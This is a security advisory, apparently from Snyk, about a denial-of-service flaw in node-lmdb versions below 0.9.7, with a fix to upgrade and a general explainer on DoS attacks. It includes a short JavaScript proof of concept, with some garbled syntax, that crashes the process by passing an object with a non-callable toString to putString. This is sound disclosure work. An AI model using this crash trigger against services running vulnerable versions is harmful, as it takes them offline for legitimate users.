Denial of Service (DoS) Affecting node-lmdb package, versions <0.9.7



    Exploit Maturity Proof of concept
    Attack Complexity High
Expand this section
7.5 high

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  • Snyk ID SNYK-JS-NODELMDB-2400723
  • published 15 Mar 2022
  • disclosed 14 Feb 2022
  • credit Snyk Research Team

How to fix?

Upgrade node-lmdb to version 0.9.7 or higher.


Affected versions of this package are vulnerable to Denial of Service (DoS) when defining a non-invokable ToString value, which will cause a crash during type check.


var lmdb = require("node-lmdb");

var fs = require('fs')

var db_name = '/mydata'

if (!fs.existsSync(db_name)){



var env = new lmdb.Env();{

path: __dirname + db_name,

mapSize: 2*1024*1024*1024,

maxDbs: 3


var dbi = env.openDbi({

name: "myPrettyDatabase",

create: true


try {

var txn = env.beginTxn();

txn.putString(dbi, 2, {toString:1}); // faulty toString


} catch (e){

console.log('err', e); // will never get called



Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package